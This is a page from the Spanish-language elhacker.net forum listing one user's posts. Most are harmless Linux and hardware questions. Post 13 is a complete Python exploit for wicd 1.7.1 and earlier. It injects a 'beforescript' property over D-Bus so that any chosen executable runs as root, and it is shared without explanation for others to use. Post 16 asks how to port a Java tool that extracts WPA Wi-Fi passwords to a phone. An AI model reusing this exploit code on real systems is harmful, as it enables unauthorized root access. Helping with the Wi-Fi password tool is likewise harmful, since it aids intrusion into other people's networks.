elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Temas
Páginas: 1 [2]
11  Foros Generales / Foro Libre / Que arquitectura de SO es más recomendable? en: 30 Mayo 2012, 17:03 pm
Tengo una pregunta, puede que estúpida, pero agradeceré toda respuesta.

Cuál de la habituales arquitecturas de un  SO es mejor o más recomendable, X86 o AMD64? Por qué?

Gracias y saludos.
12  Sistemas Operativos / GNU/Linux / Distribuciones GNU/linux en el tiempo. (actualizado) en: 30 Mayo 2012, 04:48 am
Hola. Aquí les dejo para el que sienta curiosidad la linea del tiempo de las distribuciones GNU/Linux.

Actualizado a febrero del 2012. Cuenta con un total 420 distribuciones.  :o  :o  :o

Saludos.

13  Seguridad Informática / Bugs y Exploits / Escalonamiento local de privilegios desde WICD en: 9 Mayo 2012, 23:09 pm
Bueno, después de un tiempo rondando por aquí, creo que ha llegado el momento de hacer un aporte mínimamente interesante.  :P  Así que aquí les dejo el script de python que permite hacer el escalonamiento de privilegios a través del gestor de conexión wicd.

Antes que nada, debo mencionar que no es de mi autoría. No voy a atribuirme un mérito que no me pertenece.

Saludos y que aproveche.


Código:
  #!/usr/bin/python
#wicd <= 1.7.1 0day exploit discovered on 4.9.12 by InfoSec Institute student
#For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html
import sys
import os
import time
import getopt

try: from wicd import dbusmanager
except: print "[!] WICD Error: libraries are not available. Is WICD installed?"; sys.exit(0)

class Error(Exception):
def __init__(self, error):
self.errorStr=error

def __str__(self):
return repr(self.errorStr)


class Wicd():
wireless=None
daemon=None
versionString=None
def __init__(self):
try:
dbusmanager.connect_to_dbus()
dbusInterfaces = dbusmanager.get_dbus_ifaces()
self.wireless = dbusInterfaces["wireless"]
self.daemon = dbusInterfaces["daemon"]
except:
raise Error("Daemon is not running")
self.versionString = self.daemon.Hello()

def versionLessThan(self, version):
if int(self.versionString.replace(".",""))<=version:
return True
else:
return False


class Exploit():

def __init__(self, wicd, scriptPath):
self.wicd = wicd
self.scriptPath = scriptPath

def getNets(self):
self.wicd.wireless.Scan(True)
nets = self.wicd.wireless.GetNumberOfNetworks()
while nets < 1:
self.wicd.wireless.Scan(True)
nets = self.wicd.wireless.GetNumberOfNetworks()
for net in range(nets):
yield net

def exploit(self):

for net in self.getNets(): pass # Priming scan.

try:
self.wicd.wireless.SetWirelessProperty(0, "beforescript = "+ self.scriptPath +"\nrooted", "true")
except:
raise Error("Unable to exploit (SetWirelessProperty() failed.)")

try:
self.wicd.wireless.SaveWirelessNetworkProperty(0, "beforescript = "+ self.scriptPath +"\nrooted")
except:
raise Error("Unable to exploit (SetWirelessProperty() failed.)")

propertyKey = 'bssid' # Could be essid, or any other identifiable wireless property
vulnIdentifier = self.wicd.wireless.GetWirelessProperty(0, propertyKey)

# TODO: Does this need a try construct?
self.wicd.wireless.ReloadConfig()

for net in self.getNets(): # Implicit, but required re-scan.
if self.wicd.wireless.GetWirelessProperty(net, propertyKey) == vulnIdentifier:
self.wicd.wireless.ConnectWireless(net)
return True
raise Error("Unable to exploit (Lost the network we were using)")


def usage():
print "[!] Usage:"
print " ( -h, --help ):"
print " Print this message."
print " ( --scriptPath= ): Required, executable to run as root."
print " --scriptPath=/some/path/to/executable.sh"

def main():
print "[$] WICD =< 1.7.0Day"
try:
opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "scriptPath="])
except getopt.GetoptError, err:
# Print help information and exit:
print '[!] Parameter error:' + str(err) # Will print something like "option -a not recognized"
usage()
sys.exit(0)

scriptPath=None

for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit(0)
elif opt =="--scriptPath":
scriptPath=arg
else:
# I would be assuming to say we'll never get here.
print "[!] Parameter error."
usage()
sys.exit(0)

if not scriptPath:
print "[!] Parameter error: scriptPath not set."
usage()
sys.exit(0)

try:
wicd = Wicd()
except Error as error:
print "[!] WICD Error: %s" % (error.errorStr)
exit(0)
print "[*] WICD Connection Initialized! (Version: %s)" % (wicd.versionString)

if not wicd.versionLessThan(171):
print "[!] WICD Warning: version print exceeds 1.7.1: Trying anyhow."

exploit = Exploit(wicd, scriptPath)

print "[*] Attempting to exploit:"

try:
exploit.exploit()
except Error as error:
print "[!] Exploit Error: %s" % (error.errorStr)
exit(0)
print "[*] Exploit appears to have worked."

# Standard boilerplate to call the main() function to begin
# the program.
if __name__=='__main__':
main()
14  Foros Generales / Dudas Generales / User bars en: 8 Mayo 2012, 01:50 am
Hola

Por favor, alguien podría explicarme como puedo poner una barra de estas en mi firma? Gracias

15  Sistemas Operativos / GNU/Linux / Fragmentación del disco en ubuntu en: 28 Marzo 2012, 22:06 pm
Hola a too el mundo.  :D

Hace ya algunos mese me pasé a ubuntu, en concreto el 11.10, y veo como con el paso del tiempo los datos del disco duro se van fragmentando. ¿Alguien de ustedes conoce alguna herramienta de desfragmentación para este sistema? Gracias.  :o
16  Programación / Java / Wifi auditor en: 23 Marzo 2012, 20:08 pm
Hola a todo el mundo.  :D

Verán, tengo una pequeña aplicación programada en java que me permite sacar las contraseñas del wi-fi encriptadas en WPA, en teoría es para el ordenador, la probé en mi celular y no funciona.  :P

E ahí mi pregunta ¿podría modificarla para hacerla compatible? De ser así ¿cómo puedo hacerlo? ¿habría que reprogramarla desde 0 quizás? No tengo ni idea.

Debo destacar que mi móvil es un táctil con pantalla de 3" y usa la plataforma MIDP 2.1. Y en mi ordenador ahora mismo estoy con ubuntu 11.10.
17  Foros Generales / Sugerencias y dudas sobre el Foro / EHN en: 9 Febrero 2012, 23:30 pm
Hola, soy nuevo por acá, y bueno, primero de todo quisiera felicitarles a todos  ;-) por la fantástica página, o más bien comunidad que han credo. Me parece un lugar muy completo en el que encuentras cosas que ni te imaginabas que existieran, o simplemente ni si quiera habías oído hablar, en el que cada vez que entro aprendo algo nuevo.
Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines